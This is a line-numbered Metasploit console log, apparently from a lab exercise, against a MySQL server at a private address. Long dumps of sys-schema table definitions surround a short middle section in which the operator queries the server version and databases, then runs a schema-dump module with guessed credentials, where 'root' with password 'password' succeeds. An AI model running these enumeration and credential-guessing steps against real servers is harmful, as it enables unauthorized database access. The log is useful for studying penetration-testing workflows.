  886.     - ColumnName: waiting_query_rows_affected
  887.       ColumnType: bigint(20) unsigned
  888.     - ColumnName: waiting_query_rows_examined
  889.       ColumnType: bigint(20) unsigned
  890.     - ColumnName: blocking_thread_id
  891.       ColumnType: bigint(20) unsigned
  892.     - ColumnName: blocking_pid
  893.       ColumnType: bigint(20) unsigned
  894.     - ColumnName: blocking_account
  895.       ColumnType: text
  896.     - ColumnName: blocking_lock_type
  897.       ColumnType: varchar(32)
  898.     - ColumnName: blocking_lock_duration
  899.       ColumnType: varchar(32)
  900.     - ColumnName: sql_kill_blocking_query
  901.       ColumnType: varchar(31)
  902.     - ColumnName: sql_kill_blocking_connection
  903.       ColumnType: varchar(25)
  904.   - TableName: x$schema_table_statistics
  905.     Columns:
  906.     - ColumnName: table_schema
  907.       ColumnType: varchar(64)
  908.     - ColumnName: table_name
  909.       ColumnType: varchar(64)
  910.     - ColumnName: total_latency
  911.       ColumnType: bigint(20) unsigned
  912.     - ColumnName: rows_fetched
  913.       ColumnType: bigint(20) unsigned
  914.     - ColumnName: fetch_latency
  915.       ColumnType: bigint(20) unsigned
  916.     - ColumnName: rows_inserted
  917.       ColumnType: bigint(20) unsigned
  918.     - ColumnName: insert_latency
  919.       ColumnType: bigint(20) unsigned
  920.     - ColumnName: rows_updated
  921.       ColumnType: bigint(20) unsigned
  922.     - ColumnName: update_latency
  923.       ColumnType: bigint(20) unsigned
  924.     - ColumnName: rows_deleted
  925.       ColumnType: bigint(20) unsigned
  926.     - ColumnName: delete_latency
  927.       ColumnType: bigint(20) unsigned
  928.     - ColumnName: io_read_requests
  929.       ColumnType: decimal(42,0)
  930.     - ColumnName: io_read
  931.       ColumnType: decimal(41,0)
  932.     - ColumnName: io_read_latency
  933.       ColumnType: decimal(42,0)
  934.     - ColumnName: io_write_requests
  935.       ColumnType: decimal(42,0)
  936.     - ColumnName: io_write
  937.       ColumnType: decimal(41,0)
  938.     - ColumnName: io_write_latency
  939.       ColumnType: decimal(42,0)
  940.     - ColumnName: io_misc_requests
  941.       ColumnType: decimal(42,0)
  942.     - ColumnName: io_misc_latency
  943.       ColumnType: decimal(42,0)
  944.   - TableName: x$schema_table_statistics_with_buffer
  945.     Columns:
  946.     - ColumnName: table_schema
  947.       ColumnType: varchar(64)
  948.     - ColumnName: table_name
  949.       ColumnType: varchar(64)
  950.     - ColumnName: rows_fetched
  951.       ColumnType: bigint(20) unsigned
  952.     - ColumnName: fetch_latency
  953.       ColumnType: bigint(20) unsigned
  954.     - ColumnName: rows_inserted
  955.       ColumnType: bigint(20) unsigned
  956.     - ColumnName: insert_latency
  957.       ColumnType: bigint(20) unsigned
  958.     - ColumnName: rows_updated
  959.       ColumnType: bigint(20) unsigned
  960.     - ColumnName: update_latency
  961.       ColumnType: bigint(20) unsigned
  962.     - ColumnName: rows_deleted
  963.       ColumnType: bigint(20) unsigned
  964.     - ColumnName: delete_latency
  965.       ColumnType: bigint(20) unsigned
  966.     - ColumnName: io_read_requests
  967.       ColumnType: decimal(42,0)
  968.     - ColumnName: io_read
  969.       ColumnType: decimal(41,0)
  970.     - ColumnName: io_read_latency
  971.       ColumnType: decimal(42,0)
  972.     - ColumnName: io_write_requests
  973.       ColumnType: decimal(42,0)
  974.     - ColumnName: io_write
  975.       ColumnType: decimal(41,0)
  976.     - ColumnName: io_write_latency
  977.       ColumnType: decimal(42,0)
  978.     - ColumnName: io_misc_requests
  979.       ColumnType: decimal(42,0)
  980.     - ColumnName: io_misc_latency
  981.       ColumnType: decimal(42,0)
  982.     - ColumnName: innodb_buffer_allocated
  983.       ColumnType: decimal(43,0)
  984.     - ColumnName: innodb_buffer_data
  985.       ColumnType: decimal(43,0)
  986.     - ColumnName: innodb_buffer_free
  987.       ColumnType: decimal(44,0)
  988.     - ColumnName: innodb_buffer_pages
  989.       ColumnType: bigint(21)
  990.     - ColumnName: innodb_buffer_pages_hashed
  991.       ColumnType: bigint(21)
  992.     - ColumnName: innodb_buffer_pages_old
  993.       ColumnType: bigint(21)
  994.     - ColumnName: innodb_buffer_rows_cached
  995.       ColumnType: decimal(44,0)
  996.   - TableName: x$schema_tables_with_full_table_scans
  997.     Columns:
  998.     - ColumnName: object_schema
  999.       ColumnType: varchar(64)
  1000.     - ColumnName: object_name
  1001.       ColumnType: varchar(64)
  1002.     - ColumnName: rows_full_scanned
  1003.       ColumnType: bigint(20) unsigned
  1004.     - ColumnName: latency
  1005.       ColumnType: bigint(20) unsigned
  1006.   - TableName: x$session
  1007.     Columns:
  1008.     - ColumnName: thd_id
  1009.       ColumnType: bigint(20) unsigned
  1010.     - ColumnName: conn_id
  1011.       ColumnType: bigint(20) unsigned
  1012.     - ColumnName: user
  1013.       ColumnType: varchar(128)
  1014.     - ColumnName: db
  1015.       ColumnType: varchar(64)
  1016.     - ColumnName: command
  1017.       ColumnType: varchar(16)
  1018.     - ColumnName: state
  1019.       ColumnType: varchar(64)
  1020.     - ColumnName: time
  1021.       ColumnType: bigint(20)
  1022.     - ColumnName: current_statement
  1023.       ColumnType: longtext
  1024.     - ColumnName: statement_latency
  1025.       ColumnType: bigint(20) unsigned
  1026.     - ColumnName: progress
  1027.       ColumnType: decimal(26,2)
  1028.     - ColumnName: lock_latency
  1029.       ColumnType: bigint(20) unsigned
  1030.     - ColumnName: rows_examined
  1031.       ColumnType: bigint(20) unsigned
  1032.     - ColumnName: rows_sent
  1033.       ColumnType: bigint(20) unsigned
  1034.     - ColumnName: rows_affected
  1035.       ColumnType: bigint(20) unsigned
  1036.     - ColumnName: tmp_tables
  1037.       ColumnType: bigint(20) unsigned
  1038.     - ColumnName: tmp_disk_tables
  1039.       ColumnType: bigint(20) unsigned
  1040.     - ColumnName: full_scan
  1041.       ColumnType: varchar(3)
  1042.     - ColumnName: last_statement
  1043.       ColumnType: longtext
  1044.     - ColumnName: last_statement_latency
  1045.       ColumnType: bigint(20) unsigned
  1046.     - ColumnName: current_memory
  1047.       ColumnType: decimal(41,0)
  1048.     - ColumnName: last_wait
  1049.       ColumnType: varchar(128)
  1050.     - ColumnName: last_wait_latency
  1051.       ColumnType: varchar(20)
  1052.     - ColumnName: source
  1053.       ColumnType: varchar(64)
  1054.     - ColumnName: trx_latency
  1055.       ColumnType: bigint(20) unsigned
  1056.     - ColumnName: trx_state
  1057.       ColumnType: enum('ACTIVE','COMMITTED','ROLLED BACK')
  1058.     - ColumnName: trx_autocommit
  1059.       ColumnType: enum('YES','NO')
  1060.     - ColumnName: pid
  1061.       ColumnType: varchar(1024)
  1062.     - ColumnName: program_name
  1063.       ColumnType: varchar(1024)
  1064.   - TableName: x$statement_analysis
  1065.     Columns:
  1066.     - ColumnName: query
  1067.       ColumnType: longtext
  1068.     - ColumnName: db
  1069.       ColumnType: varchar(64)
  1070.     - ColumnName: full_scan
  1071.       ColumnType: varchar(1)
  1072.     - ColumnName: exec_count
  1073.       ColumnType: bigint(20) unsigned
  1074.     - ColumnName: err_count
  1075.       ColumnType: bigint(20) unsigned
  1076.     - ColumnName: warn_count
  1077.       ColumnType: bigint(20) unsigned
  1078.     - ColumnName: total_latency
  1079.       ColumnType: bigint(20) unsigned
  1080.     - ColumnName: max_latency
  1081.       ColumnType: bigint(20) unsigned
  1082.     - ColumnName: avg_latency
  1083.       ColumnType: bigint(20) unsigned
  1084.     - ColumnName: lock_latency
  1085.       ColumnType: bigint(20) unsigned
  1086.     - ColumnName: rows_sent
  1087.       ColumnType: bigint(20) unsigned
  1088.     - ColumnName: rows_sent_avg
  1089.       ColumnType: decimal(21,0)
  1090.     - ColumnName: rows_examined
  1091.       ColumnType: bigint(20) unsigned
  1092.     - ColumnName: rows_examined_avg
  1093.       ColumnType: decimal(21,0)
  1094.     - ColumnName: rows_affected
  1095.       ColumnType: bigint(20) unsigned
  1096.     - ColumnName: rows_affected_avg
  1097.       ColumnType: decimal(21,0)
  1098.     - ColumnName: tmp_tables
  1099.       ColumnType: bigint(20) unsigned
  1100.     - ColumnName: tmp_disk_tables
  1101.       ColumnType: bigint(20) unsigned
  1102.     - ColumnName: rows_sorted
  1103.       ColumnType: bigint(20) unsigned
  1104.     - ColumnName: sort_merge_passes
  1105.       ColumnType: bigint(20) unsigned
  1106.     - ColumnName: digest
  1107.       ColumnType: varchar(32)
  1108.     - ColumnName: first_seen
  1109.       ColumnType: timestamp
  1110.     - ColumnName: last_seen
  1111.       ColumnType: timestamp
  1112.   - TableName: x$statements_with_errors_or_warnings
  1113.     Columns:
  1114.     - ColumnName: query
  1115.       ColumnType: longtext
  1116.     - ColumnName: db
  1117.       ColumnType: varchar(64)
  1118.     - ColumnName: exec_count
  1119.       ColumnType: bigint(20) unsigned
  1120.     - ColumnName: errors
  1121.       ColumnType: bigint(20) unsigned
  1122.     - ColumnName: error_pct
  1123.       ColumnType: decimal(27,4)
  1124.     - ColumnName: warnings
  1125.       ColumnType: bigint(20) unsigned
  1126.     - ColumnName: warning_pct
  1127.       ColumnType: decimal(27,4)
  1128.     - ColumnName: first_seen
  1129.       ColumnType: timestamp
  1130.     - ColumnName: last_seen
  1131.       ColumnType: timestamp
  1132.     - ColumnName: digest
  1133.       ColumnType: varchar(32)
  1134.   - TableName: x$statements_with_full_table_scans
  1135.     Columns:
  1136.     - ColumnName: query
  1137.       ColumnType: longtext
  1138.     - ColumnName: db
  1139.       ColumnType: varchar(64)
  1140.     - ColumnName: exec_count
  1141.       ColumnType: bigint(20) unsigned
  1142.     - ColumnName: total_latency
  1143.       ColumnType: bigint(20) unsigned
  1144.     - ColumnName: no_index_used_count
  1145.       ColumnType: bigint(20) unsigned
  1146.     - ColumnName: no_good_index_used_count
  1147.       ColumnType: bigint(20) unsigned
  1148.     - ColumnName: no_index_used_pct
  1149.       ColumnType: decimal(24,0)
  1150.     - ColumnName: rows_sent
  1151.       ColumnType: bigint(20) unsigned
  1152.     - ColumnName: rows_examined
  1153.       ColumnType: bigint(20) unsigned
  1154.     - ColumnName: rows_sent_avg
  1155.       ColumnType: decimal(21,0) unsigned
  1156.     - ColumnName: rows_examined_avg
  1157.       ColumnType: decimal(21,0) unsigned
  1158.     - ColumnName: first_seen
  1159.       ColumnType: timestamp
  1160.     - ColumnName: last_seen
  1161.       ColumnType: timestamp
  1162.     - ColumnName: digest
  1163.       ColumnType: varchar(32)
  1164.   - TableName: x$statements_with_runtimes_in_95th_percentile
  1165.     Columns:
  1166.     - ColumnName: query
  1167.       ColumnType: longtext
  1168.     - ColumnName: db
  1169.       ColumnType: varchar(64)
  1170.     - ColumnName: full_scan
  1171.       ColumnType: varchar(1)
  1172.     - ColumnName: exec_count
  1173.       ColumnType: bigint(20) unsigned
  1174.     - ColumnName: err_count
  1175.       ColumnType: bigint(20) unsigned
  1176.     - ColumnName: warn_count
  1177.       ColumnType: bigint(20) unsigned
  1178.     - ColumnName: total_latency
  1179.       ColumnType: bigint(20) unsigned
  1180.     - ColumnName: max_latency
  1181.       ColumnType: bigint(20) unsigned
  1182.     - ColumnName: avg_latency
  1183.       ColumnType: bigint(20) unsigned
  1184.     - ColumnName: rows_sent
  1185.       ColumnType: bigint(20) unsigned
  1186.     - ColumnName: rows_sent_avg
  1187.       ColumnType: decimal(21,0)
  1188.     - ColumnName: rows_examined
  1189.       ColumnType: bigint(20) unsigned
  1190.     - ColumnName: rows_examined_avg
  1191.       ColumnType: decimal(21,0)
  1192.     - ColumnName: first_seen
  1193.       ColumnType: timestamp
  1194.     - ColumnName: last_seen
  1195.       ColumnType: timestamp
  1196.     - ColumnName: digest
  1197.       ColumnType: varchar(32)
  1198.   - TableName: x$statements_with_sorting
  1199.     Columns:
  1200.     - ColumnName: query
  1201.       ColumnType: longtext
  1202.     - ColumnName: db
  1203.       ColumnType: varchar(64)
  1204.     - ColumnName: exec_count
  1205.       ColumnType: bigint(20) unsigned
  1206.     - ColumnName: total_latency
  1207.       ColumnType: bigint(20) unsigned
  1208.     - ColumnName: sort_merge_passes
  1209.       ColumnType: bigint(20) unsigned
  1210.     - ColumnName: avg_sort_merges
  1211.       ColumnType: decimal(21,0)
  1212.     - ColumnName: sorts_using_scans
  1213.       ColumnType: bigint(20) unsigned
  1214.     - ColumnName: sort_using_range
  1215.       ColumnType: bigint(20) unsigned
  1216.     - ColumnName: rows_sorted
  1217.       ColumnType: bigint(20) unsigned
  1218.     - ColumnName: avg_rows_sorted
  1219.       ColumnType: decimal(21,0)
  1220.     - ColumnName: first_seen
  1221.       ColumnType: timestamp
  1222.     - ColumnName: last_seen
  1223.       ColumnType: timestamp
  1224.     - ColumnName: digest
  1225.       ColumnType: varchar(32)
  1226.   - TableName: x$statements_with_temp_tables
  1227.     Columns:
  1228.     - ColumnName: query
  1229.       ColumnType: longtext
  1230.     - ColumnName: db
  1231.       ColumnType: varchar(64)
  1232.     - ColumnName: exec_count
  1233.       ColumnType: bigint(20) unsigned
  1234.     - ColumnName: total_latency
  1235.       ColumnType: bigint(20) unsigned
  1236.     - ColumnName: memory_tmp_tables
  1237.       ColumnType: bigint(20) unsigned
  1238.     - ColumnName: disk_tmp_tables
  1239.       ColumnType: bigint(20) unsigned
  1240.     - ColumnName: avg_tmp_tables_per_query
  1241.       ColumnType: decimal(21,0)
  1242.     - ColumnName: tmp_tables_to_disk_pct
  1243.       ColumnType: decimal(24,0)
  1244.     - ColumnName: first_seen
  1245.       ColumnType: timestamp
  1246.     - ColumnName: last_seen
  1247.       ColumnType: timestamp
  1248.     - ColumnName: digest
  1249.       ColumnType: varchar(32)
  1250.   - TableName: x$user_summary
  1251.     Columns:
  1252.     - ColumnName: user
  1253.       ColumnType: varchar(32)
  1254.     - ColumnName: statements
  1255.       ColumnType: decimal(64,0)
  1256.     - ColumnName: statement_latency
  1257.       ColumnType: decimal(64,0)
  1258.     - ColumnName: statement_avg_latency
  1259.       ColumnType: decimal(65,4)
  1260.     - ColumnName: table_scans
  1261.       ColumnType: decimal(65,0)
  1262.     - ColumnName: file_ios
  1263.       ColumnType: decimal(64,0)
  1264.     - ColumnName: file_io_latency
  1265.       ColumnType: decimal(64,0)
  1266.     - ColumnName: current_connections
  1267.       ColumnType: decimal(41,0)
  1268.     - ColumnName: total_connections
  1269.       ColumnType: decimal(41,0)
  1270.     - ColumnName: unique_hosts
  1271.       ColumnType: bigint(21)
  1272.     - ColumnName: current_memory
  1273.       ColumnType: decimal(63,0)
  1274.     - ColumnName: total_memory_allocated
  1275.       ColumnType: decimal(64,0)
  1276.   - TableName: x$user_summary_by_file_io
  1277.     Columns:
  1278.     - ColumnName: user
  1279.       ColumnType: varchar(32)
  1280.     - ColumnName: ios
  1281.       ColumnType: decimal(42,0)
  1282.     - ColumnName: io_latency
  1283.       ColumnType: decimal(42,0)
  1284.   - TableName: x$user_summary_by_file_io_type
  1285.     Columns:
  1286.     - ColumnName: user
  1287.       ColumnType: varchar(32)
  1288.     - ColumnName: event_name
  1289.       ColumnType: varchar(128)
  1290.     - ColumnName: total
  1291.       ColumnType: bigint(20) unsigned
  1292.     - ColumnName: latency
  1293.       ColumnType: bigint(20) unsigned
  1294.     - ColumnName: max_latency
  1295.       ColumnType: bigint(20) unsigned
  1296.   - TableName: x$user_summary_by_stages
  1297.     Columns:
  1298.     - ColumnName: user
  1299.       ColumnType: varchar(32)
  1300.     - ColumnName: event_name
  1301.       ColumnType: varchar(128)
  1302.     - ColumnName: total
  1303.       ColumnType: bigint(20) unsigned
  1304.     - ColumnName: total_latency
  1305.       ColumnType: bigint(20) unsigned
  1306.     - ColumnName: avg_latency
  1307.       ColumnType: bigint(20) unsigned
  1308.   - TableName: x$user_summary_by_statement_latency
  1309.     Columns:
  1310.     - ColumnName: user
  1311.       ColumnType: varchar(32)
  1312.     - ColumnName: total
  1313.       ColumnType: decimal(42,0)
  1314.     - ColumnName: total_latency
  1315.       ColumnType: decimal(42,0)
  1316.     - ColumnName: max_latency
  1317.       ColumnType: decimal(42,0)
  1318.     - ColumnName: lock_latency
  1319.       ColumnType: decimal(42,0)
  1320.     - ColumnName: rows_sent
  1321.       ColumnType: decimal(42,0)
  1322.     - ColumnName: rows_examined
  1323.       ColumnType: decimal(42,0)
  1324.     - ColumnName: rows_affected
  1325.       ColumnType: decimal(42,0)
  1326.     - ColumnName: full_scans
  1327.       ColumnType: decimal(43,0)
  1328.   - TableName: x$user_summary_by_statement_type
  1329.     Columns:
  1330.     - ColumnName: user
  1331.       ColumnType: varchar(32)
  1332.     - ColumnName: statement
  1333.       ColumnType: varchar(128)
  1334.     - ColumnName: total
  1335.       ColumnType: bigint(20) unsigned
  1336.     - ColumnName: total_latency
  1337.       ColumnType: bigint(20) unsigned
  1338.     - ColumnName: max_latency
  1339.       ColumnType: bigint(20) unsigned
  1340.     - ColumnName: lock_latency
  1341.       ColumnType: bigint(20) unsigned
  1342.     - ColumnName: rows_sent
  1343.       ColumnType: bigint(20) unsigned
  1344.     - ColumnName: rows_examined
  1345.       ColumnType: bigint(20) unsigned
  1346.     - ColumnName: rows_affected
  1347.       ColumnType: bigint(20) unsigned
  1348.     - ColumnName: full_scans
  1349.       ColumnType: bigint(21) unsigned
  1350.   - TableName: x$wait_classes_global_by_avg_latency
  1351.     Columns:
  1352.     - ColumnName: event_class
  1353.       ColumnType: varchar(128)
  1354.     - ColumnName: total
  1355.       ColumnType: decimal(42,0)
  1356.     - ColumnName: total_latency
  1357.       ColumnType: decimal(42,0)
  1358.     - ColumnName: min_latency
  1359.       ColumnType: bigint(20) unsigned
  1360.     - ColumnName: avg_latency
  1361.       ColumnType: decimal(46,4)
  1362.     - ColumnName: max_latency
  1363.       ColumnType: bigint(20) unsigned
  1364.   - TableName: x$wait_classes_global_by_latency
  1365.     Columns:
  1366.     - ColumnName: event_class
  1367.       ColumnType: varchar(128)
  1368.     - ColumnName: total
  1369.       ColumnType: decimal(42,0)
  1370.     - ColumnName: total_latency
  1371.       ColumnType: decimal(42,0)
  1372.     - ColumnName: min_latency
  1373.       ColumnType: bigint(20) unsigned
  1374.     - ColumnName: avg_latency
  1375.       ColumnType: decimal(46,4)
  1376.     - ColumnName: max_latency
  1377.       ColumnType: bigint(20) unsigned
  1378.   - TableName: x$waits_by_host_by_latency
  1379.     Columns:
  1380.     - ColumnName: host
  1381.       ColumnType: varchar(60)
  1382.     - Colum[*] Spooling to file output.log...
  1383. msf6 auxiliary(admin/mysql/mysql_sql) > exploit
  1384. [*] Running module against 10.10.40.69
  1385.  
  1386. [*] 10.10.40.69:3306 - Sending statement: 'select version()'...
  1387. [*] 10.10.40.69:3306 -  | 5.7.29-0ubuntu0.18.04.1 |
  1388. [*] Auxiliary module execution completed
  1389. msf6 auxiliary(admin/mysql/mysql_sql) > set shosql show databases
  1390. sql => show databases
  1391. msf6 auxiliary(admin/mysql/mysql_sql) > exploit
  1392. [*] Running module against 10.10.40.69
  1393.  
  1394. [*] 10.10.40.69:3306 - Sending statement: 'show databases'...
  1395. [*] 10.10.40.69:3306 -  | information_schema |
  1396. [*] 10.10.40.69:3306 -  | mysql |
  1397. [*] 10.10.40.69:3306 -  | performance_schema |
  1398. [*] 10.10.40.69:3306 -  | sys |
  1399. [*] Auxiliary module execution completed
  1400. msf6 auxiliary(admin/mysql/mysql_sql) > dsearch mysql_shchemadump
  1401. 
  1402. Matching Modules
  1403. ================
  1404.  
  1405.    #  Name                                      Disclosure Date  Rank    Check  Description
  1406.    -  ----                                      ---------------  ----    -----  -----------
  1407.    0  auxiliary/scanner/mysql/mysql_schemadump                   normal  No     MYSQL Schema Dump
  1408.  
  1409.  
  1410. Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_schemadump
  1411.  
  1412. msf6 auxiliary(admin/mysql/mysql_sql) > use -0
  1413. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set rhost 10.10.40.69
  1414. rhost => 10.10.40.69
  1415. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username administrator
  1416. username => administrator
  1417. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set password password
  1418. password => password
  1419. msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit
  1420. 
  1421. [-] 10.10.40.69:3306      - Access denied
  1422. [*] 10.10.40.69:3306      - Scanned 1 of 1 hosts (100% complete)
  1423. [*] Auxiliary module execution completed
  1424. msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username root
  1425. username => root
  1426. msf6 auxiliary(scanner/mysql/mysql_schemadump) > exploit
  1427. 
  1428. [+] 10.10.40.69:3306      - Schema stored in: /home/unknownix/.msf4/loot/20220329160141_default_10.10.40.69_mysql_schema_101848.txt
  1429. [+] 10.10.40.69:3306      - MySQL Server Schema
  1430.  Host: 10.10.40.69
  1431.  Port: 3306
  1432.  ====================
  1433.  
  1434. ---
  1435. - DBName: sys
  1436.   Tables:
  1437.   - TableName: host_summary
  1438.     Columns:
  1439.     - ColumnName: host
  1440.       ColumnType: varchar(60)
  1441.     - ColumnName: statements
  1442.       ColumnType: decimal(64,0)
  1443.     - ColumnName: statement_latency
  1444.       ColumnType: text
  1445.     - ColumnName: statement_avg_latency
  1446.       ColumnType: text
  1447.     - ColumnName: table_scans
  1448.       ColumnType: decimal(65,0)
  1449.     - ColumnName: file_ios
  1450.       ColumnType: decimal(64,0)
  1451.     - ColumnName: file_io_latency
  1452.       ColumnType: text
  1453.     - ColumnName: current_connections
  1454.       ColumnType: decimal(41,0)
  1455.     - ColumnName: total_connections
  1456.       ColumnType: decimal(41,0)
  1457.     - ColumnName: unique_users
  1458.       ColumnType: bigint(21)
  1459.     - ColumnName: current_memory
  1460.       ColumnType: text
  1461.     - ColumnName: total_memory_allocated
  1462.       ColumnType: text
  1463.   - TableName: host_summary_by_file_io
  1464.     Columns:
  1465.     - ColumnName: host
  1466.       ColumnType: varchar(60)
  1467.     - ColumnName: ios
  1468.       ColumnType: decimal(42,0)
  1469.     - ColumnName: io_latency
  1470.       ColumnType: text
  1471.   - TableName: host_summary_by_file_io_type
  1472.     Columns:
  1473.     - ColumnName: host
  1474.       ColumnType: varchar(60)
  1475.     - ColumnName: event_name
  1476.       ColumnType: varchar(128)
  1477.     - ColumnName: total
  1478.       ColumnType: bigint(20) unsigned
  1479.     - ColumnName: total_latency
  1480.       ColumnType: text
  1481.     - ColumnName: max_latency
  1482.       ColumnType: text
  1483.   - TableName: host_summary_by_stages
  1484.     Columns:
  1485.     - ColumnName: host
  1486.       ColumnType: varchar(60)
  1487.     - ColumnName: event_name
  1488.       ColumnType: varchar(128)
  1489.     - ColumnName: total
  1490.       ColumnType: bigint(20) unsigned
  1491.     - ColumnName: total_latency
  1492.       ColumnType: text
  1493.     - ColumnName: avg_latency
  1494.       ColumnType: text
  1495.   - TableName: host_summary_by_statement_latency
  1496.     Columns:
  1497.     - ColumnName: host
  1498.       ColumnType: varchar(60)
  1499.     - ColumnName: total
  1500.       ColumnType: decimal(42,0)
  1501.     - ColumnName: total_latency
  1502.       ColumnType: text
  1503.     - ColumnName: max_latency
  1504.       ColumnType: text
  1505.     - ColumnName: lock_latency
  1506.       ColumnType: text
  1507.     - ColumnName: rows_sent
  1508.       ColumnType: decimal(42,0)
  1509.     - ColumnName: rows_examined
  1510.       ColumnType: decimal(42,0)
  1511.     - ColumnName: rows_affected
  1512.       ColumnType: decimal(42,0)
  1513.     - ColumnName: full_scans
  1514.       ColumnType: decimal(43,0)
  1515.   - TableName: host_summary_by_statement_type
  1516.     Columns:
  1517.     - ColumnName: host
  1518.       ColumnType: varchar(60)
  1519.     - ColumnName: statement
  1520.       ColumnType: varchar(128)
  1521.     - ColumnName: total
  1522.       ColumnType: bigint(20) unsigned
  1523.     - ColumnName: total_latency
  1524.       ColumnType: text
  1525.     - ColumnName: max_latency
  1526.       ColumnType: text
  1527.     - ColumnName: lock_latency
  1528.       ColumnType: text
  1529.     - ColumnName: rows_sent
  1530.       ColumnType: bigint(20) unsigned
  1531.     - ColumnName: rows_examined
  1532.       ColumnType: bigint(20) unsigned
  1533.     - ColumnName: rows_affected
  1534.       ColumnType: bigint(20) unsigned
  1535.     - ColumnName: full_scans
  1536.       ColumnType: bigint(21) unsigned
  1537.   - TableName: innodb_buffer_stats_by_schema
  1538.     Columns:
  1539.     - ColumnName: object_schema
  1540.       ColumnType: text
  1541.     - ColumnName: allocated
  1542.       ColumnType: text
  1543.     - ColumnName: data
  1544.       ColumnType: text
  1545.     - ColumnName: pages
  1546.       ColumnType: bigint(21)
  1547.     - ColumnName: pages_hashed
  1548.       ColumnType: bigint(21)
  1549.     - ColumnName: pages_old
  1550.       ColumnType: bigint(21)
  1551.     - ColumnName: rows_cached
  1552.       ColumnType: decimal(44,0)
  1553.   - TableName: innodb_buffer_stats_by_table
  1554.     Columns:
  1555.     - ColumnName: object_schema
  1556.       ColumnType: text
  1557.     - ColumnName: object_name
  1558.       ColumnType: text
  1559.     - ColumnName: allocated
  1560.       ColumnType: text
  1561.     - ColumnName: data
  1562.       ColumnType: text
  1563.     - ColumnName: pages
  1564.       ColumnType: bigint(21)
  1565.     - ColumnName: pages_hashed
  1566.       ColumnType: bigint(21)
  1567.     - ColumnName: pages_old
  1568.       ColumnType: bigint(21)
  1569.     - ColumnName: rows_cached
  1570.       ColumnType: decimal(44,0)
  1571.   - TableName: innodb_lock_waits
  1572.     Columns:
  1573.     - ColumnName: wait_started
  1574.       ColumnType: datetime
  1575.     - ColumnName: wait_age
  1576.       ColumnType: time
  1577.     - ColumnName: wait_age_secs
  1578.       ColumnType: bigint(21)
  1579.     - ColumnName: locked_table
  1580.       ColumnType: varchar(1024)
  1581.     - ColumnName: locked_index
  1582.       ColumnType: varchar(1024)
  1583.     - ColumnName: locked_type
  1584.       ColumnType: varchar(32)
  1585.     - ColumnName: waiting_trx_id
  1586.       ColumnType: varchar(18)
  1587.     - ColumnName: waiting_trx_started
  1588.       ColumnType: datetime
  1589.     - ColumnName: waiting_trx_age
  1590.       ColumnType: time
  1591.     - ColumnName: waiting_trx_rows_locked
  1592.       ColumnType: bigint(21) unsigned
  1593.     - ColumnName: waiting_trx_rows_modified
  1594.       ColumnType: bigint(21) unsigned
  1595.     - ColumnName: waiting_pid
  1596.       ColumnType: bigint(21) unsigned
  1597.     - ColumnName: waiting_query
  1598.       ColumnType: longtext
  1599.     - ColumnName: waiting_lock_id
  1600.       ColumnType: varchar(81)
  1601.     - ColumnName: waiting_lock_mode
  1602.       ColumnType: varchar(32)
  1603.     - ColumnName: blocking_trx_id
  1604.       ColumnType: varchar(18)
  1605.     - ColumnName: blocking_pid
  1606.       ColumnType: bigint(21) unsigned
  1607.     - ColumnName: blocking_query
  1608.       ColumnType: longtext
  1609.     - ColumnName: blocking_lock_id
  1610.       ColumnType: varchar(81)
  1611.     - ColumnName: blocking_lock_mode
  1612.       ColumnType: varchar(32)
  1613.     - ColumnName: blocking_trx_started
  1614.       ColumnType: datetime
  1615.     - ColumnName: blocking_trx_age
  1616.       ColumnType: time
  1617.     - ColumnName: blocking_trx_rows_locked
  1618.       ColumnType: bigint(21) unsigned
  1619.     - ColumnName: blocking_trx_rows_modified
  1620.       ColumnType: bigint(21) unsigned
  1621.     - ColumnName: sql_kill_blocking_query
  1622.       ColumnType: varchar(32)
  1623.     - ColumnName: sql_kill_blocking_connection
  1624.       ColumnType: varchar(26)
  1625.   - TableName: io_by_thread_by_latency
  1626.     Columns:
  1627.     - ColumnName: user
  1628.       ColumnType: varchar(128)
  1629.     - ColumnName: total
  1630.       ColumnType: decimal(42,0)
  1631.     - ColumnName: total_latency
  1632.       ColumnType: text
  1633.     - ColumnName: min_latency
  1634.       ColumnType: text
  1635.     - ColumnName: avg_latency
  1636.       ColumnType: text
  1637.     - ColumnName: max_latency
  1638.       ColumnType: text
  1639.     - ColumnName: thread_id
  1640.       ColumnType: bigint(20) unsigned
  1641.     - ColumnName: processlist_id
  1642.       ColumnType: bigint(20) unsigned
  1643.   - TableName: io_global_by_file_by_bytes
  1644.     Columns:
  1645.     - ColumnName: file
  1646.       ColumnType: varchar(512)
  1647.     - ColumnName: count_read
  1648.       ColumnType: bigint(20) unsigned
  1649.     - ColumnName: total_read
  1650.       ColumnType: text
  1651.     - ColumnName: avg_read
  1652.       ColumnType: text
  1653.     - ColumnName: count_write
  1654.       ColumnType: bigint(20) unsigned
  1655.     - ColumnName: total_written
  1656.       ColumnType: text
  1657.     - ColumnName: avg_write
  1658.       ColumnType: text
  1659.     - ColumnName: total
  1660.       ColumnType: text
  1661.     - ColumnName: write_pct
  1662.       ColumnType: decimal(26,2)
  1663.   - TableName: io_global_by_file_by_latency
  1664.     Columns:
  1665.     - ColumnName: file
  1666.       ColumnType: varchar(512)
  1667.     - ColumnName: total
  1668.       ColumnType: bigint(20) unsigned
  1669.     - ColumnName: total_latency
  1670.       ColumnType: text
  1671.     - ColumnName: count_read
  1672.       ColumnType: bigint(20) unsigned
  1673.     - ColumnName: read_latency
  1674.       ColumnType: text
  1675.     - ColumnName: count_write
  1676.       ColumnType: bigint(20) unsigned
  1677.     - ColumnName: write_latency
  1678.       ColumnType: text
  1679.     - ColumnName: count_misc
  1680.       ColumnType: bigint(20) unsigned
  1681.     - ColumnName: misc_latency
  1682.       ColumnType: text
  1683.   - TableName: io_global_by_wait_by_bytes
  1684.     Columns:
  1685.     - ColumnName: event_name
  1686.       ColumnType: varchar(128)
  1687.     - ColumnName: total
  1688.       ColumnType: bigint(20) unsigned
  1689.     - ColumnName: total_latency
  1690.       ColumnType: text
  1691.     - ColumnName: min_latency
  1692.       ColumnType: text
  1693.     - ColumnName: avg_latency
  1694.       ColumnType: text
  1695.     - ColumnName: max_latency
  1696.       ColumnType: text
  1697.     - ColumnName: count_read
  1698.       ColumnType: bigint(20) unsigned
  1699.     - ColumnName: total_read
  1700.       ColumnType: text
  1701.     - ColumnName: avg_read
